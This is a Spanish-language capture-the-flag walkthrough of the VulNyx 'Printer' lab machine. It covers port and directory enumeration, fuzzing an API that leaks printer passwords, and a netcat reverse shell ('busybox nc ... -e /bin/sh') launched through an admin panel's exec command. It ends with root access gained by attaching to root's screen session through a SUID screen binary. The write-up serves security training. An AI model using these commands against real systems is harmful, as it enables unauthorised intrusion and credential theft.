VulNyx - Printer
Information
Printer es una máquina virtual vulnerable Linux de dificultad fácil de la plataforma VulNyx, fue creada por el usuario d4t4s3c y funciona correctamente en los hipervisores VirtualBox y VMware.

Enumeration
Nmap
TCP
❯ nmap -n -Pn -sS -p- --min-rate 5000 192.168.1.120
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-09 12:21 CEST
Nmap scan report for 192.168.1.120
Host is up (0.00015s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
9999/tcp open abyss
❯ nmap -sVC -p22,80,9999 192.168.1.120
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-09 12:28 CEST
Nmap scan report for 192.168.1.120
Host is up (0.00029s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA)
| 256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA)
|_ 256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519)
80/tcp open http Apache httpd 2.4.56 ((Debian))
|_http-server-header: Apache/2.4.56 (Debian)
|_http-title: Apache2 Debian Default Page: It works
9999/tcp open abyss?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, JavaRMI, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NCP, RPCCheck, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, X11Probe:
| Konica Minolta Printer Admin Panel
| Password:
| NULL:
|_ Konica Minolta Printer Admin Panel
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9999-TCP:V=7.95%I=7%D=7/9%Time=686E4462%P=x86_64-pc-linux-gnu%r(NUL
SF:L,25,"\nKonica\x20Minolta\x20Printer\x20Admin\x20Panel\n\n")%r(GetReque
SF:st,2F,"\nKonica\x20Minolta\x20Printer\x20Admin\x20Panel\n\nPassword:\x2
SF:0")%r(HTTPOptions,2F,"\nKonica\x20Minolta\x20Printer\x20Admin\x20Panel\
SF:n\nPassword:\x20")%r(FourOhFourRequest,2F,"\nKonica\x20Minolta\x20Print
SF:er\x20Admin\x20Panel\n\nPassword:\x20")%r(JavaRMI,2F,"\nKonica\x20Minol
SF:ta\x20Printer\x20Admin\x20Panel\n\nPassword:\x20")%r(GenericLines,2F,"\
SF:nKonica\x20Minolta\x20Printer\x20Admin\x20Panel\n\nPassword:\x20")%r(RT
SF:SPRequest,2F,"\nKonica\x20Minolta\x20Printer\x20Admin\x20Panel\n\nPassw
SF:ord:\x20")%r(RPCCheck,2F,"\nKonica\x20Minolta\x20Printer\x20Admin\x20Pa
SF:nel\n\nPassword:\x20")%r(DNSVersionBindReqTCP,2F,"\nKonica\x20Minolta\x
SF:20Printer\x20Admin\x20Panel\n\nPassword:\x20")%r(DNSStatusRequestTCP,2F
SF:,"\nKonica\x20Minolta\x20Printer\x20Admin\x20Panel\n\nPassword:\x20")%r
SF:(Help,2F,"\nKonica\x20Minolta\x20Printer\x20Admin\x20Panel\n\nPassword:
SF:\x20")%r(SSLSessionReq,2F,"\nKonica\x20Minolta\x20Printer\x20Admin\x20P
SF:anel\n\nPassword:\x20")%r(TerminalServerCookie,2F,"\nKonica\x20Minolta\
SF:x20Printer\x20Admin\x20Panel\n\nPassword:\x20")%r(TLSSessionReq,2F,"\nK
SF:onica\x20Minolta\x20Printer\x20Admin\x20Panel\n\nPassword:\x20")%r(Kerb
SF:eros,2F,"\nKonica\x20Minolta\x20Printer\x20Admin\x20Panel\n\nPassword:\
SF:x20")%r(SMBProgNeg,2F,"\nKonica\x20Minolta\x20Printer\x20Admin\x20Panel
SF:\n\nPassword:\x20")%r(X11Probe,2F,"\nKonica\x20Minolta\x20Printer\x20Ad
SF:min\x20Panel\n\nPassword:\x20")%r(LPDString,2F,"\nKonica\x20Minolta\x20
SF:Printer\x20Admin\x20Panel\n\nPassword:\x20")%r(LDAPSearchReq,2F,"\nKoni
SF:ca\x20Minolta\x20Printer\x20Admin\x20Panel\n\nPassword:\x20")%r(LDAPBin
SF:dReq,2F,"\nKonica\x20Minolta\x20Printer\x20Admin\x20Panel\n\nPassword:\
SF:x20")%r(SIPOptions,2F,"\nKonica\x20Minolta\x20Printer\x20Admin\x20Panel
SF:\n\nPassword:\x20")%r(LANDesk-RC,2F,"\nKonica\x20Minolta\x20Printer\x20
SF:Admin\x20Panel\n\nPassword:\x20")%r(TerminalServer,2F,"\nKonica\x20Mino
SF:lta\x20Printer\x20Admin\x20Panel\n\nPassword:\x20")%r(NCP,2F,"\nKonica\
SF:x20Minolta\x20Printer\x20Admin\x20Panel\n\nPassword:\x20");
Shell (printer)
80/TCP (HTTP)
Site (/)

Directory Brute Force
❯ gobuster dir -w /opt/directory-list-2.3-medium.txt -u http://192.168.1.120/
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.1.120/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /opt/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/api (Status: 301) [Size: 312] [--> http://192.168.1.120/api/]
/server-status (Status: 403) [Size: 278]
Progress: 220545 / 220546 (100.00%)
===============================================================
Finished
===============================================================
Site (/api)

Directory Brute Force
❯ gobuster dir -w /opt/directory-list-2.3-medium.txt -u http://192.168.1.120/api
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.1.120/api
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /opt/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/printers (Status: 301) [Size: 321] [--> http://192.168.1.120/api/printers/]
Progress: 220545 / 220546 (100.00%)
===============================================================
Finished
===============================================================
Site (/api/printers)

ID & Extension Brute Force
❯ wfuzz -c --hc=404 -z range,1-5000 -z list,json-yml -u "http://192.168.1.120/api/printers/printerFUZZ.FUZ2Z" 2>/dev/null
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://192.168.1.120/api/printers/printerFUZZ.FUZ2Z
Total requests: 10000
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000001: 200 6 L 9 W 82 Ch "1 - json"
000000007: 200 6 L 9 W 78 Ch "4 - json"
000000003: 200 6 L 9 W 80 Ch "2 - json"
000000009: 200 6 L 9 W 77 Ch "5 - json"
000000005: 200 6 L 9 W 79 Ch "3 - json"
000003197: 200 6 L 9 W 97 Ch "1599 - json"
Total time: 4.607142
Processed Requests: 10000
Filtered Requests: 9994
Requests/sec.: 2170.542
Envío una petición GET a cada uno de los IDs obtenidos y consigo los passwords de las impresoras
❯ for i in 1 2 3 4 5 1599; do curl -sX GET "http://192.168.1.120/api/printers/printer$i.json" ;done
{
"printer": {
"printer_id": "1",
"printer_password": "P4ssw0rd!"
}
}
{
"printer": {
"printer_id": "2",
"printer_password": "iloveme"
}
}
{
"printer": {
"printer_id": "3",
"printer_password": "qwerty"
}
}
{
"printer": {
"printer_id": "4",
"printer_password": "admin"
}
}
{
"printer": {
"printer_id": "5",
"printer_password": "root"
}
}
{
"printer": {
"printer_id": "1599",
"printer_password": "$3cUr3Pr1nT3RP4ZZw0rD"
}
}
9999/TCP (PRINTER)
Me conecto a la impresora exitosamente con el password $3cUr3Pr1nT3RP4ZZw0rD
❯ nc -vn 192.168.1.120 9999
(UNKNOWN) [192.168.1.120] 9999 (?) open
Konica Minolta Printer Admin Panel
Password: $3cUr3Pr1nT3RP4ZZw0rD
Please type "?" for HELP
>
Introduzco ? para que muestre el HELP y observo la función exec que permite ejecutar comandos
> ?
To Change/Configure Parameters Enter:
Parameter-name: value <Carriage Return>
Parameter-name Type of value
ip: IP-address in dotted notation
subnet-mask: address in dotted notation (enter 0 for default)
default-gw: address in dotted notation (enter 0 for default)
syslog-svr: address in dotted notation (enter 0 for default)
idle-timeout: seconds in integers
set-cmnty-name: alpha-numeric string (32 chars max)
host-name: alpha-numeric string (upper case only, 32 chars max)
dhcp-config: 0 to disable, 1 to enable
allow: <ip> [mask] (0 to clear, list to display, 10 max)
addrawport: <TCP port num> (<TCP port num> 3000-9000)
deleterawport: <TCP port num>
listrawport: (No parameter required)
exec: execute system commands (exec id)
exit: quit from telnet session
>
Reverse Shell
Obtengo una shell como usuario printer
> exec busybox nc 192.168.1.5 443 -e /bin/sh
❯ nc -lvnp 443
listening on [any] 443 ...
connect to [192.168.1.5] from (UNKNOWN) [192.168.1.120] 52164
id ; hostname
uid=1000(printer) gid=1000(printer) grupos=1000(printer)
printer
Privilege Escalation
Enumeration
SUID
El usuario printer disponde de permisos 4755 (SUID) sobre el binario screen
(Esto le permite ejecutar el binario en el contexto del propietario que en este caso es root)
printer@printer:~$ find / -perm -4000 2>/dev/null
/usr/bin/mount
/usr/bin/su
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/umount
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/screen
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
printer@printer:~$ ls -l /usr/bin/screen
-rwsr-xr-x 1 root root 482312 feb 27 2021 /usr/bin/screen
Processes
El usuario root tiene abierta una sessión de screen llamada /root
printer@printer:~$ ps aux |grep "screen"
root 325 0.0 0.0 2484 408 ? Ss 12:19 0:00 /bin/sh -c while true;do sleep 1;find /var/run/screen/S-root/ -empty -exec screen -dmS root \;; done
Abuse
Revisando el help de screen veo el flag -x que permite conectar a una sessión activa
-x Attach to a not detached screen. (Multi display mode).
Me convierto en usuario root accediendo a la sessión
printer@printer:~$ screen -x root/
root@printer:~# id ; hostname
uid=0(root) gid=0(root) grupos=0(root)
printer
Flags
Ya como usuario root puedo leer las flags user.txt y root.txt
root@printer:~# find / -name user.txt -o -name root.txt 2>/dev/null |xargs cat
616e****************************
7cc6****************************
Hasta aquí la resolución de la máquina Printer.
Happy Hacking!